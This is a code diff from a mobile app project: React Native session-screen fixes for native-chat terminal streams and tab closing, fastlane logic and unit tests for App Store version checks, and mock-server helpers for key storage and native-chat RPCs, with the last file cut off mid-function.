import { subscribeMobileTerminalSafely } from '../../../../src/session/mobile-terminal-stream-subscribe'
import { activateMobileSessionTab } from '../../../../src/session/mobile-session-tab-activation'
@@ -219,6 +229,7 @@ import type {
SessionTabsApplyOutcome,
SessionTabsStreamSource
} from '../../../../src/session/mobile-session-tabs-stream-health'
import { useMobileSessionTabsFetchReporting } from '../../../../src/session/use-mobile-session-tabs-fetch-reporting'
import { useMobileSessionTabsReconciliation } from '../../../../src/session/use-mobile-session-tabs-reconciliation'
import {
getRepoIdFromMobileWorktreeId,
@@ -894,6 +905,8 @@ export default function SessionScreen() {
toggleTerminalLiveInput
} = useTerminalLiveInputModePreference({ hostId, worktreeId })
const [activeHandle, setActiveHandle] = useState<string | null>(null)
// Reactive teardown signal for the native-chat covered stream; see unsubscribeTerminal.
const [coveredStreamRevision, setCoveredStreamRevision] = useState(0)
const [activeSessionTabId, setActiveSessionTabId] = useState<string | null>(null)
const activeSessionTabIdRef = useRef<string | null>(null)
// Auto-scroll the tab strip so the desktop-synced active tab is revealed without a manual scroll.
@@ -1135,10 +1148,11 @@ export default function SessionScreen() {
},
[clearToastHideTimer]
)
const showNativeChatSendError = useCallback(
(message: string) => showToast(message, 1600),
[showToast]
)
const nativeChatScopeKey = mobileNativeChatScopeKey(hostId, worktreeId, activeSessionTabId)
const nativeChatSendError = useMobileNativeChatSendError({
scopeKey: nativeChatScopeKey,
showToast
})
const nativeChatTranscriptIsLocalReadable = useMobileNativeChatReadability(client, worktreeId)
const {
ready: nativeChatInputLeaseReady,
@@ -1160,9 +1174,12 @@ export default function SessionScreen() {
deviceTokenRef,
nativeChatTranscriptIsLocalReadable,
nativeChatInputLeaseReady,
onSendError: showNativeChatSendError
connState,
onSendError: nativeChatSendError.show,
onSendResolved: nativeChatSendError.clear
})
const { toggleTabChatView, showNativeChat, showNativeChatRef } = nativeChatController
nativeChatSendError.bannerMountedRef.current = showNativeChat
const dictation = useMobileDictation({
client,
@@ -1299,9 +1316,25 @@ export default function SessionScreen() {
subscribeSeqRef.current.set(handle, (subscribeSeqRef.current.get(handle) ?? 0) + 1)
// Why: reset the high-water mark so a fresh subscription's first scrollback isn't dropped as stale.
layoutSeqRef.current.delete(handle)
clearNativeChatInputLease(handle)
// Why compare against the RENDERED lease: `clear` reports the drop from its
// synchronous mirror, so a `subscribed`+`end` pair applied in one render batch
// reports "dropped" while React only ever sees false → the effect never re-runs
// and the composer stays locked (#10681). A dead PTY can also emit `end` with no
// preceding `subscribed`, where the clear is a no-op for the same reason. Either
// way the flip carries no signal, so bump. When the lease really was up on
// screen, `leaseReady` already re-runs the effect and bumping too would
// double-render this whole route on every chat open.
const leaseWasOnScreen = nativeChatInputLeaseReadyRef.current
const leaseDropped = clearNativeChatInputLease(handle)
if (
(!leaseDropped || !leaseWasOnScreen) &&
showNativeChatRef.current &&
handle === activeHandleRef.current
) {
setCoveredStreamRevision((revision) => revision + 1)
}
},
[clearNativeChatInputLease]
[clearNativeChatInputLease, nativeChatInputLeaseReadyRef, showNativeChatRef]
)
const unsubscribeTerminalRef = useRef(unsubscribeTerminal)
unsubscribeTerminalRef.current = unsubscribeTerminal
@@ -1559,10 +1592,12 @@ export default function SessionScreen() {
[client, getTerminalRef, markNativeChatInputLeaseReady, scheduleDelayedAction]
)
const notifyTerminalWebReady = useMobileNativeChatTerminalStream({
const nativeChatStream = useMobileNativeChatTerminalStream({
showNativeChat,
activeHandle,
activeTabType: activeSessionTab?.type ?? null,
leaseReady: nativeChatInputLeaseReady,
streamRevision: coveredStreamRevision,
subscriptionsRef: terminalUnsubsRef,
subscribingRef: subscribingHandlesRef,
webReadyRef: webReadyHandlesRef,
@@ -1626,7 +1661,6 @@ export default function SessionScreen() {
})
if (response.ok) {
const result = (response as RpcSuccess).result as { terminals: Terminal[] }
if (result.terminals.length === 0 && !allowEmptyLoaded) {
return
}
@@ -1637,25 +1671,31 @@ export default function SessionScreen() {
}
const liveHandles = new Set(result.terminals.map((terminal) => terminal.handle))
// Why: terminal.list is the lifetime signal; lagging tab snapshots must not erase a user's buffered-mode opt-out.
pruneTerminalHandlesFromLiveInput(liveHandles)
defaultTerminalHandlesToLiveInput([...liveHandles])
for (const handle of Array.from(terminalUnsubsRef.current.keys())) {
if (!liveHandles.has(handle)) {
unsubscribeTerminal(handle)
terminalRefs.current.delete(handle)
initializedHandlesRef.current.delete(handle)
clearTerminalLiveInputDefault(handle)
setTerminalKeyboardMetrics((prev) => {
if (!prev.has(handle)) {
return prev
}
const next = new Map(prev)
next.delete(handle)
return next
})
}
const pruneContext = {
liveHandles,
showNativeChat: showNativeChatRef.current,
activeHandle: activeHandleRef.current
}
// Why: terminal.list is the lifetime signal; lagging tab snapshots must not erase a user's buffered-mode opt-out.
// Sweep against the retained set, not the raw list: a chat-covered handle
// keeps its subscription across a graph reload, so erasing its live-input
// preference on the same refresh is the erasure this guard exists to stop.
pruneTerminalHandlesFromLiveInput(resolveRetainedTerminalHandles(pruneContext))
defaultTerminalHandlesToLiveInput([...liveHandles])
const shouldPrune = createTerminalPrunePredicate(pruneContext)
for (const handle of Array.from(terminalUnsubsRef.current.keys())) {
if (!shouldPrune(handle)) {
continue
}
unsubscribeTerminal(handle)
terminalRefs.current.delete(handle)
initializedHandlesRef.current.delete(handle)
clearTerminalLiveInputDefault(handle)
}
setTerminalKeyboardMetrics((prev) => pruneTerminalKeyboardMetrics(prev, shouldPrune))
// Why: a chat-covered handle the host reports again refills its rearm budget,
// so an exhausted rearm can't lock the composer until leave-chat.
nativeChatStream.notifyListedHandles(liveHandles)
lastKnownTerminalCountRef.current = result.terminals.length
// Why: dedupe duplicate handles (rename/split race) to avoid a React duplicate-key throw; keep first for tab-strip order.
const seen = new Set<string>()
@@ -1690,6 +1730,7 @@ export default function SessionScreen() {
worktreeId,
clearTerminalLiveInputDefault,
defaultTerminalHandlesToLiveInput,
nativeChatStream,
pruneTerminalHandlesFromLiveInput,
subscribeToTerminal,
unsubscribeTerminal
@@ -1803,6 +1844,10 @@ export default function SessionScreen() {
activeSessionTabIdRef.current = nextActiveTabId
setActiveSessionTabId(nextActiveTabId)
activeSessionTabTypeRef.current = 'terminal'
// Why: every other active-handle branch assigns the ref alongside the
// state. Leaving it stale here makes `covered` resolve against the wrong
// handle, so a native-chat rearm silently no-ops on the webview gates.
activeHandleRef.current = pendingActiveTerminalHandle
setActiveHandle(pendingActiveTerminalHandle)
subscribeToTerminal(pendingActiveTerminalHandle)
return outcome
@@ -2297,25 +2342,23 @@ export default function SessionScreen() {
[]
)
const hasSessionTabsRecoveryNeed = useCallback(
() => closedTabTombstonesRef.current.size > 0 || pendingBrowserFocusPageIdRef.current !== null,
[]
() =>
closedTabTombstonesRef.current.size > 0 ||
pendingBrowserFocusPageIdRef.current !== null ||
// Why: a chat-covered handle that ran out of rearms and left `terminal.list`
// was reminted by a desktop graph reload. Only a fresh tab snapshot carries
// the replacement handle, so force one instead of holding the composer locked.
nativeChatStream.hasTabsRecoveryNeed(),
[nativeChatStream]
)
const getSessionTabsApplicationRevision = useCallback(
() => appliedSessionTabsRevisionRef.current,
[]
)
const reportSessionTabsFetchStarted = useCallback(() => {
terminalDiagnosticsRef.current.tabsFetchStarted(worktreeId)
}, [worktreeId])
const reportSessionTabsFetchSucceeded = useCallback((result: SessionTabsResult) => {
terminalDiagnosticsRef.current.tabsFetchSucceeded(result)
}, [])
const reportSessionTabsFetchFailed = useCallback((code: string) => {
terminalDiagnosticsRef.current.tabsFetchFailed(code)
}, [])
const reportSessionTabsFetchErrored = useCallback((error: unknown) => {
terminalDiagnosticsRef.current.tabsFetchErrored(error)
}, [])
const sessionTabsFetchReporting = useMobileSessionTabsFetchReporting<SessionTabsResult>({
worktreeId,
diagnosticsRef: terminalDiagnosticsRef
})
const { fetchSessionTabs, ensureSessionTabs, fetchPendingBrowserSessionTabs } =
useMobileSessionTabsReconciliation<SessionTabsResult, MobileSessionTab>({
client,
@@ -2326,10 +2369,7 @@ export default function SessionScreen() {
fetchTerminals,
hasRecoveryNeed: hasSessionTabsRecoveryNeed,
getApplicationRevision: getSessionTabsApplicationRevision,
onFetchStarted: reportSessionTabsFetchStarted,
onFetchSucceeded: reportSessionTabsFetchSucceeded,
onFetchFailed: reportSessionTabsFetchFailed,
onFetchErrored: reportSessionTabsFetchErrored
...sessionTabsFetchReporting
})
useEffect(() => {
@@ -2896,7 +2936,7 @@ export default function SessionScreen() {
(handle: string) => {
const wasAlreadyReady = webReadyHandlesRef.current.has(handle)
webReadyHandlesRef.current.add(handle)
notifyTerminalWebReady(handle, wasAlreadyReady)
nativeChatStream.notifyWebReady(handle, wasAlreadyReady)
terminalDiagnosticsRef.current.webViewReady(
handle,
wasAlreadyReady,
@@ -2924,7 +2964,7 @@ export default function SessionScreen() {
})()
}
},
[measureViewportOnce, notifyTerminalWebReady, subscribeToTerminal, unsubscribeTerminal]
[measureViewportOnce, nativeChatStream, subscribeToTerminal, unsubscribeTerminal]
)
useEffect(() => {
@@ -3627,12 +3667,13 @@ export default function SessionScreen() {
canSend,
connState,
deviceTokenRef,
nativeChatScopeKey: mobileNativeChatScopeKey(hostId, worktreeId, activeSessionTabId),
nativeChatScopeKey,
nativeChatInputLeaseReady,
getActiveWorktreeConnectionId,
beforeTerminalSend: flushPendingLiveInputBeforeAttachmentSend,
nativeChatBaseSend: nativeChatController.handleNativeChatSendWithOutcome,
showToast,
onNativeChatSendError: nativeChatSendError.show,
onSuccess: triggerSelection,
onError: triggerError
})
@@ -4092,7 +4133,10 @@ export default function SessionScreen() {
setSessionTabs((prev) => prev.filter((candidate) => candidate.id !== tab.id))
// Why: tombstone the closed tab and rely on the snapshot, not a blind refetch that often re-added the not-yet-closed tab.
closedTabTombstonesRef.current.set(tab.id, Date.now() + 10_000)
if (activeSessionTabId === tab.id) {
// Why: bulk close re-activates the anchor before awaiting each close;
// the render-synced ref sees that switch while this closure would not,
// so comparing against the ref keeps the anchor from being nulled out.
if (activeSessionTabIdRef.current === tab.id) {
activeSessionTabTypeRef.current = null
setActiveSessionTabId(null)
activeHandleRef.current = null
@@ -4104,6 +4148,15 @@ export default function SessionScreen() {
}
}
const bulkCloseActions = createBulkCloseSheetActions({
sessionTabsRef,
markdownDocs,
activeSessionTabIdRef,
switchSessionTab,
closeSessionTab: handleCloseSessionTab
})
const closeWithBulkActions = createCloseWithBulkActions(handleCloseSessionTab, bulkCloseActions)
const isPhoneMode = (handle: string | null): boolean => {
if (!handle) {
return false
@@ -4704,6 +4757,8 @@ export default function SessionScreen() {
onMicPressIn={handleDictationPressIn}
onMicPressOut={handleDictationPressOut}
inputLockReason={nativeChatInputLockReason}
sendErrorMessage={nativeChatSendError.message}
onClearSendError={nativeChatSendError.clear}
keyboardInset={keyboardLift}
/>
{toastMessage && (
@@ -5157,7 +5212,8 @@ export default function SessionScreen() {
onToggleDisplayMode: (handle) => void toggleDisplayMode(handle),
onRename: setRenameTarget,
onClear: (target) => void handleClearTerminal(target),
onClose: (target) => void handleCloseTerminal(target)
onClose: (target) => void handleCloseTerminal(target),
bulkCloseActions
})}
onClose={() => setActionTarget(null)}
/>
@@ -5190,17 +5246,7 @@ export default function SessionScreen() {
}
}
},
{
label: 'Close',
destructive: true,
onPress: () => {
const target = markdownActionTarget
setMarkdownActionTarget(null)
if (target) {
void handleCloseSessionTab(target)
}
}
}
...closeWithBulkActions(markdownActionTarget, () => setMarkdownActionTarget(null))
]}
onClose={() => setMarkdownActionTarget(null)}
/>
@@ -5219,17 +5265,7 @@ export default function SessionScreen() {
}
}
},
{
label: 'Close',
destructive: true,
onPress: () => {
const target = fileActionTarget
setFileActionTarget(null)
if (target) {
void handleCloseSessionTab(target)
}
}
}
...closeWithBulkActions(fileActionTarget, () => setFileActionTarget(null))
]}
onClose={() => setFileActionTarget(null)}
/>
@@ -5238,6 +5274,7 @@ export default function SessionScreen() {
onClose={() => setBrowserActionTarget(null)}
onNavigate={handleBrowserNavigationCommand}
onCloseTab={handleCloseSessionTab}
bulkCloseActions={bulkCloseActions}
/>
<ActionSheetModal
visible={leaveDrafts != null}
+46 -16
View File
@@ -36,8 +36,15 @@ DEFAULT_TESTFLIGHT_CHANGELOG = "Latest Orca Mobile updates and fixes.".freeze
# closed"). Only approved/released/removed states qualify: a version that is
# merely IN_REVIEW / WAITING_FOR_REVIEW / PROCESSING_FOR_APP_STORE still accepts
# TestFlight builds, so bumping on those would break normal beta iteration.
#
# Covers both vocabularies: `appStoreState` is deprecated as of App Store
# Connect API 3.3 in favor of `appVersionState`, which renames the shipped state
# (READY_FOR_SALE -> READY_FOR_DISTRIBUTION) and drops the removed-from-sale
# ones. Reading whichever field Apple populates keeps the guard working through
# the transition instead of silently finding zero closed versions.
CLOSED_APP_STORE_STATES = %w[
READY_FOR_SALE
READY_FOR_DISTRIBUTION
PENDING_DEVELOPER_RELEASE
PENDING_APPLE_RELEASE
REPLACED_WITH_NEW_VERSION
@@ -67,22 +74,42 @@ def current_mobile_version(config)
config.fetch("expo").fetch("version")
end
# Returns true when `version`'s App Store train is closed to new build uploads.
# `app` is a Spaceship::ConnectAPI::App the caller looks up (nil if lookup
# failed). On a nil app or any API error, degrade to "open": we then proceed as
# before this check existed — the upload either succeeds or fails with the same
# 90186 we have always seen, never worse than today's behavior.
def version_train_closed?(app, version)
return false unless app
# True when either state field reports a terminally closed train. `respond_to?`
# guards the newer field, which older spaceship versions do not define.
def closed_state?(app_store_version)
states = [app_store_version.app_store_state]
states << app_store_version.app_version_state if app_store_version.respond_to?(:app_version_state)
app
.get_app_store_versions(filter: { versionString: version })
.any? { |app_store_version| CLOSED_APP_STORE_STATES.include?(app_store_version.app_store_state) }
states.compact.any? { |state| CLOSED_APP_STORE_STATES.include?(state) }
end
# Highest version whose App Store record is in a terminally closed state, or nil
# when none is (or the lookup fails). Fetched once because the answer is a
# property of the app, not of any single candidate version.
#
# Why the whole list rather than a per-version lookup: a version only gets an
# App Store record once someone submits it. 0.0.34 was uploaded to TestFlight
# but never submitted, so it had no record and a filtered lookup found nothing
# closed — while 0.0.35 shipped, which closes 0.0.34 too (Apple: 90062 requires
# a *higher* version than the last approved one).
#
# On a nil app or any API error, degrade to "open": we then proceed as before
# this check existed — the upload either succeeds or fails with the same 90186
# we have always seen, never worse than today's behavior.
def highest_closed_app_store_version(app)
return nil unless app
closed = app
.get_app_store_versions
.select { |app_store_version| closed_state?(app_store_version) }
.map(&:version_string)
IosReleaseVersion.max_version(closed)
rescue StandardError => error
# Loud, not silent: a swallowed error here un-fixes the 90186 guard, so the
# degraded run must be visible rather than buried.
UI.error("Could not determine App Store state for #{version} (#{error.message}); assuming open and proceeding.")
false
UI.error("Could not determine closed App Store versions (#{error.message}); assuming open and proceeding.")
nil
end
def testflight_changelog
@@ -103,13 +130,16 @@ platform :ios do
UI.error("Could not look up App Store app #{BUNDLE_ID} (#{error.message}); skipping closed-train check.")
nil
end
highest_closed = highest_closed_app_store_version(app)
UI.message("Highest closed App Store version: #{highest_closed || 'none'}")
version =
begin
IosReleaseVersion.resolve(
requested: options[:version],
bump_patch: options[:bump_patch],
current_version: current_mobile_version(config),
train_closed: ->(candidate) { version_train_closed?(app, candidate) },
train_closed: ->(candidate) { IosReleaseVersion.closed_train?(candidate, highest_closed) },
)
rescue ArgumentError => error
UI.user_error!(error.message)
@@ -117,7 +147,7 @@ platform :ios do
# Explicit and checked-in versions still fail fast when closed. Patch bumps
# skip closed trains above because workflow-only releases can outpace Git.
if version_train_closed?(app, version)
if IosReleaseVersion.closed_train?(version, highest_closed)
retry_guidance =
if IosReleaseVersion.truthy?(options[:bump_patch])
"Use a higher release_version or land a \"Prepare mobile <version>\" commit."
@@ -126,8 +156,8 @@ platform :ios do
"or land a \"Prepare mobile <version>\" commit."
end
UI.user_error!(
"iOS version #{version} is already submitted/released on the App Store and cannot accept " \
"new builds. #{retry_guidance}",
"iOS version #{version} is not higher than #{highest_closed}, which is already " \
"submitted/released on the App Store, so Apple will reject the upload. #{retry_guidance}",
)
end
+36 -4
View File
@@ -1,15 +1,47 @@
module IosReleaseVersion
module_function
SEMVER_PATTERN = /\A(\d+)\.(\d+)\.(\d+)\z/.freeze
def truthy?(value)
%w[1 true yes on].include?(value.to_s.strip.downcase)
end
def bump_patch(version)
match = version.match(/\A(\d+)\.(\d+)\.(\d+)\z/)
raise ArgumentError, "Cannot bump non-semver mobile version '#{version}'" unless match
# [major, minor, patch] for semver comparison, or nil for anything else.
def parse(version)
match = version.to_s.strip.match(SEMVER_PATTERN)
return nil unless match
"#{match[1]}.#{match[2]}.#{match[3].to_i + 1}"
[match[1].to_i, match[2].to_i, match[3].to_i]
end
def bump_patch(version)
parts = parse(version)
raise ArgumentError, "Cannot bump non-semver mobile version '#{version}'" unless parts
"#{parts[0]}.#{parts[1]}.#{parts[2] + 1}"
end
# Highest semver in `versions`, skipping entries App Store Connect reports in
# a non-semver shape. Compares numerically: "0.0.10" beats "0.0.9", which a
# string sort gets backwards.
def max_version(versions)
Array(versions)
.map { |version| version.to_s.strip }
.select { |version| parse(version) }
.max_by { |version| parse(version) }
end
# Apple rejects an upload whose CFBundleShortVersionString is not higher than
# the last approved version (90062) and reports that version's train as closed
# (90186). So every version at or below `highest_closed` is unusable, not just
# the ones whose own App Store record sits in a closed state.
def closed_train?(version, highest_closed)
candidate = parse(version)
ceiling = parse(highest_closed)
return false unless candidate && ceiling
(candidate <=> ceiling) <= 0
end
def resolve(requested:, bump_patch:, current_version:, train_closed:)
@@ -45,4 +45,51 @@ class IosReleaseVersionTest < Minitest::Test
assert_equal("Cannot bump non-semver mobile version '0.0'", error.message)
end
# The 0.0.34 regression: 0.0.35 shipped, so every version at or below it is
# closed even though 0.0.34 itself never got an App Store record.
def test_versions_at_or_below_the_highest_closed_version_are_closed
assert(IosReleaseVersion.closed_train?("0.0.34", "0.0.35"))
assert(IosReleaseVersion.closed_train?("0.0.35", "0.0.35"))
refute(IosReleaseVersion.closed_train?("0.0.36", "0.0.35"))
end
def test_nothing_is_closed_without_a_known_closed_version
refute(IosReleaseVersion.closed_train?("0.0.1", nil))
refute(IosReleaseVersion.closed_train?("0.0.1", ""))
end
def test_non_semver_candidates_are_treated_as_open
refute(IosReleaseVersion.closed_train?("0.0", "0.0.35"))
end
def test_resolve_skips_past_the_highest_closed_version
version = IosReleaseVersion.resolve(
requested: "",
bump_patch: true,
current_version: "0.0.32",
train_closed: ->(candidate) { IosReleaseVersion.closed_train?(candidate, "0.0.35") },
)
assert_equal("0.0.36", version)
end
def test_max_version_compares_numerically_not_lexically
assert_equal("0.0.10", IosReleaseVersion.max_version(%w[0.0.9 0.0.10 0.0.2]))
assert_equal("0.2.0", IosReleaseVersion.max_version(%w[0.1.99 0.2.0]))
assert_equal("1.0.0", IosReleaseVersion.max_version(%w[0.9.9 1.0.0]))
end
def test_max_version_ignores_non_semver_entries
assert_equal("0.0.35", IosReleaseVersion.max_version(["0.0.35", "1.0", "", nil]))
assert_nil(IosReleaseVersion.max_version([]))
assert_nil(IosReleaseVersion.max_version(nil))
end
# Minor/major releases must close stale patch trains beneath them.
def test_closed_train_compares_across_minor_and_major
assert(IosReleaseVersion.closed_train?("0.0.99", "0.1.0"))
assert(IosReleaseVersion.closed_train?("0.9.9", "1.0.0"))
refute(IosReleaseVersion.closed_train?("1.0.1", "1.0.0"))
end
end
+167
View File
@@ -0,0 +1,167 @@
import { randomUUID } from 'node:crypto'
import {
chmodSync,
closeSync,
openSync,
readFileSync,
renameSync,
rmSync,
unlinkSync,
writeFileSync
} from 'node:fs'
import nacl from 'tweetnacl'
const LOCK_ATTEMPTS = 50
const LOCK_WAIT_MS = 10
const RENAME_ATTEMPTS = 5
const RENAME_WAIT_MS = 25
const lockWaitSignal = new Int32Array(new SharedArrayBuffer(4))
type KeyReadResult =
| { keyPair: nacl.BoxKeyPair; reason?: never }
| { keyPair?: never; reason: string }
type KeyLockResult =
| { fd: number; lockFile: string; keyPair?: never }
| { fd?: never; lockFile?: never; keyPair: nacl.BoxKeyPair }
type KeyWarningLogger = Pick<Console, 'warn'>
function errnoCode(error: unknown): string | undefined {
return (error as NodeJS.ErrnoException | null)?.code
}
function readKeyPair(keyFile: string): KeyReadResult {
try {
const encoded = readFileSync(keyFile, 'utf-8').trim()
if (!encoded) {
return { reason: 'empty' }
}
const decoded = Buffer.from(encoded, 'base64')
if (decoded.toString('base64') !== encoded) {
return { reason: 'invalid base64' }
}
if (decoded.length !== nacl.box.secretKeyLength) {
return { reason: `wrong length (${decoded.length} bytes)` }
}
return { keyPair: nacl.box.keyPair.fromSecretKey(Uint8Array.from(decoded)) }
} catch (error) {
return { reason: errnoCode(error) === 'ENOENT' ? 'missing' : 'unreadable' }
}
}
function acquireKeyLock(keyFile: string): KeyLockResult {
const lockFile = `${keyFile}.lock`
for (let attempt = 0; attempt < LOCK_ATTEMPTS; attempt += 1) {
try {
return { fd: openSync(lockFile, 'wx', 0o600), lockFile }
} catch (error) {
if (errnoCode(error) !== 'EEXIST') {
throw error
}
const concurrent = readKeyPair(keyFile)
if (concurrent.keyPair) {
return { keyPair: concurrent.keyPair }
}
if (attempt < LOCK_ATTEMPTS - 1) {
Atomics.wait(lockWaitSignal, 0, 0, LOCK_WAIT_MS)
}
}
}
const winner = readKeyPair(keyFile)
if (winner.keyPair) {
return { keyPair: winner.keyPair }
}
try {
return { fd: openSync(lockFile, 'wx', 0o600), lockFile }
} catch (error) {
if (errnoCode(error) !== 'EEXIST') {
throw error
}
const lateWinner = readKeyPair(keyFile)
if (lateWinner.keyPair) {
return { keyPair: lateWinner.keyPair }
}
}
throw new Error(
`[mock] Key file lock ${lockFile} remained busy; remove it if no mock server is running`
)
}
function renameKeyFile(temporaryFile: string, keyFile: string): void {
for (let attempt = 0; attempt < RENAME_ATTEMPTS; attempt += 1) {
try {
renameSync(temporaryFile, keyFile)
return
} catch (error) {
if (
!['EACCES', 'EBUSY', 'EPERM'].includes(errnoCode(error) ?? '') ||
attempt === RENAME_ATTEMPTS - 1
) {
throw error
}
Atomics.wait(lockWaitSignal, 0, 0, RENAME_WAIT_MS)
}
}
}
function persistKeyPair(keyFile: string, keyPair: nacl.BoxKeyPair): void {
const temporaryFile = `${keyFile}.${process.pid}.${randomUUID()}.tmp`
try {
writeFileSync(temporaryFile, Buffer.from(keyPair.secretKey).toString('base64'), {
flag: 'wx',
mode: 0o600
})
if (process.platform !== 'win32') {
chmodSync(temporaryFile, 0o600)
}
renameKeyFile(temporaryFile, keyFile)
} finally {
try {
rmSync(temporaryFile, { force: true })
} catch {}
}
}
function releaseKeyLock(lock: { fd: number; lockFile: string }): void {
try {
closeSync(lock.fd)
} catch {}
try {
unlinkSync(lock.lockFile)
} catch {}
}
export function loadOrCreateMockServerKeyPair(
keyFile: string | undefined,
logger: KeyWarningLogger = console
): nacl.BoxKeyPair {
if (!keyFile) {
return nacl.box.keyPair()
}
const existing = readKeyPair(keyFile)
if (existing.keyPair) {
return existing.keyPair
}
const lock = acquireKeyLock(keyFile)
if (lock.keyPair) {
return lock.keyPair
}
let selected: nacl.BoxKeyPair
try {
const current = readKeyPair(keyFile)
if (current.keyPair) {
selected = current.keyPair
} else {
logger.warn(
`[mock] Key file ${keyFile} is ${current.reason} — minting a fresh key; paired devices must re-pair`
)
selected = nacl.box.keyPair()
persistKeyPair(keyFile, selected)
}
} finally {
releaseKeyLock(lock)
}
return selected
}
@@ -0,0 +1,275 @@
import { readFileSync } from 'node:fs'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import type { WebSocket } from 'ws'
import type { AgentStatusEntry } from '../../src/shared/agent-status-types'
import type {
RuntimeMobileSessionTabsResult,
RuntimeMobileSessionTerminalClientTab
} from '../../src/shared/runtime-types'
import type { RpcRequest, RpcResponse } from './mock-server-rpc-handlers'
// Why: native chat needs a live agent tab, an empty-but-subscribed transcript,
// and a terminal send path whose acceptance can be flipped mid-session.
// Restarting the server re-keys E2EE (forcing a re-pair), so send behaviour is
// read from a control file on every request instead of an env var.
const SEND_MODE_FILE = process.env.MOCK_SEND_MODE_FILE ?? join(tmpdir(), 'orca-mock-send-mode')
const TERMINAL_LIST_MODE_FILE =
process.env.MOCK_TERMINAL_LIST_MODE_FILE ?? join(tmpdir(), 'orca-mock-terminal-list-mode')
// Write `dead` here to reproduce a gone PTY: the host answers with `subscribed`
// then `end`, which is the shape the rearm bound and terminal prune react to.
const TERMINAL_STREAM_MODE_FILE =
process.env.MOCK_TERMINAL_STREAM_MODE_FILE ?? join(tmpdir(), 'orca-mock-terminal-stream-mode')
const TERMINAL_HANDLE = 'chat-term-1'
const TAB_ID = 'chat-tab-1'
const SESSION_ID = 'mock-chat-session'
const TRANSCRIPT_PATH = join(tmpdir(), 'mock-transcript.jsonl')
const MOCK_IMAGE_PATH = join(tmpdir(), 'mock-image.png')
function readControl(file: string): string {
try {
return readFileSync(file, 'utf-8').trim()
} catch {
// Default to the happy path when the control file is absent.
return ''
}
}
const tabsSnapshots = new Map<string, { version: number; signature: string }>()
const agentStatus: AgentStatusEntry = {
state: 'done',
prompt: '',
updatedAt: Date.now(),
stateStartedAt: Date.now(),
agentType: 'claude',
paneKey: `${TAB_ID}:leaf-1`,
terminalHandle: TERMINAL_HANDLE,
stateHistory: [],
providerSession: {
key: 'session_id',
id: SESSION_ID,
transcriptPath: TRANSCRIPT_PATH
}
}
function buildTab(): RuntimeMobileSessionTerminalClientTab {
return {
type: 'terminal',
id: TAB_ID,
title: 'Claude Code',
parentTabId: TAB_ID,
leafId: 'leaf-1',
ptyId: 'pty-1',
status: 'ready',
terminal: TERMINAL_HANDLE,
launchAgent: 'claude',
agentStatus,
viewMode: 'chat',
isActive: true
}
}
// Versions are per-worktree and only advance on real content change, so the
// mock can't fake a re-render heartbeat the runtime would never send.
function buildTabsResult(worktree: string): RuntimeMobileSessionTabsResult {
const result: RuntimeMobileSessionTabsResult = {
worktree,
publicationEpoch: 'mock-epoch-1',
snapshotVersion: 0,
activeGroupId: 'group-1',
activeTabId: TAB_ID,
activeTabType: 'terminal',
tabGroups: [{ id: 'group-1', activeTabId: TAB_ID, tabOrder: [TAB_ID] }],
tabs: [buildTab()]
}
const signature = JSON.stringify(result)
const previous = tabsSnapshots.get(worktree)
const current =
previous?.signature === signature
? previous
: { version: (previous?.version ?? 0) + 1, signature }
tabsSnapshots.set(worktree, current)
result.snapshotVersion = current.version
return result
}
function tabsResultIfChanged(worktree: string): RuntimeMobileSessionTabsResult | null {
const before = tabsSnapshots.get(worktree)?.version
const result = buildTabsResult(worktree)
return result.snapshotVersion === before ? null : result
}
function worktreeOf(request: RpcRequest): string {
const raw = request.params?.worktree
return typeof raw === 'string' ? raw : 'id:mock-worktree'
}
// Why: unsubscribe correlates by worktree, not request id, and a socket that
// navigates A->B->A would otherwise stack one push loop per subscribe.
const tabsPushLoops = new Map<WebSocket, Map<string, ReturnType<typeof setInterval>>>()
function stopTabsPushLoop(ws: WebSocket, worktree: string): void {
const loops = tabsPushLoops.get(ws)
const existing = loops?.get(worktree)
if (existing !== undefined) {
clearInterval(existing)
loops?.delete(worktree)
}
}
function startTabsPushLoop(ws: WebSocket, worktree: string, push: () => void): void {
stopTabsPushLoop(ws, worktree)
const interval = setInterval(() => {
if (ws.readyState !== ws.OPEN) {
stopTabsPushLoop(ws, worktree)
return
}
push()
}, 3000)
let loops = tabsPushLoops.get(ws)
if (!loops) {
loops = new Map()
tabsPushLoops.set(ws, loops)
ws.once('close', () => {
for (const timer of tabsPushLoops.get(ws)?.values() ?? []) {
clearInterval(timer)
}
tabsPushLoops.delete(ws)
})
}
loops.set(worktree, interval)
}
type Respond = (response: RpcResponse) => void
type Success = (id: string, result: unknown, streaming?: boolean) => RpcResponse
type Failure = (id: string, code: string, message: string) => RpcResponse
/** Mock backend for the native-chat surface: session tabs, an empty transcript
* snapshot, terminal send, and image upload. Opt-in via MOCK_NATIVE_CHAT=1
* because it replaces the default terminal fixtures. No transcript or terminal
* output frames are pushed. Returns false for methods it does not own. */
export function handleMockNativeChatRequest(
request: RpcRequest,
respond: Respond,
success: Success,
error: Failure,
ws: WebSocket
): boolean {
if (process.env.MOCK_NATIVE_CHAT !== '1') {
return false
}
switch (request.method) {
case 'session.tabs.list':
respond(success(request.id, buildTabsResult(worktreeOf(request))))
return true
case 'session.tabs.subscribe': {
const worktree = worktreeOf(request)
respond(success(request.id, buildTabsResult(worktree), true))
startTabsPushLoop(ws, worktree, () => {
const changed = tabsResultIfChanged(worktree)
if (changed) {
respond(success(request.id, changed, true))
}
})
return true
}
case 'session.tabs.unsubscribe':
stopTabsPushLoop(ws, worktreeOf(request))
respond(success(request.id, { ok: true }))
return true
case 'session.tabs.activate':
case 'nativeChat.unsubscribe':
respond(success(request.id, { ok: true }))
return true
case 'terminal.list': {
// `omit` = empty list; `other` = a live list that just doesn't name the
// chat handle (what the runtime returns when the handle is scoped to a
// different worktree id than the one mobile queries).
const mode = readControl(TERMINAL_LIST_MODE_FILE)
const worktreeId = worktreeOf(request).replace(/^id:/, '')
const entry = (handle: string) => ({
handle,
worktreeId,
title: 'Claude Code',
isActive: true,
hasRunningProcess: true
})
const terminals =
mode === 'omit'
? []
: mode === 'other'
? [entry('some-other-term')]
: [entry(TERMINAL_HANDLE)]
respond(success(request.id, { terminals, totalCount: terminals.length, truncated: false }))
return true
}
case 'nativeChat.subscribe':
respond(success(request.id, { type: 'snapshot', messages: [], hasMore: false }, true))
return true
case 'nativeChat.readSession':
respond(success(request.id, { messages: [], hasMore: false }))
return true
case 'terminal.subscribe': {
// The `subscribed` frame is what releases mobile's native-chat input lease.
respond(success(request.id, { type: 'subscribed', terminal: TERMINAL_HANDLE }, true))
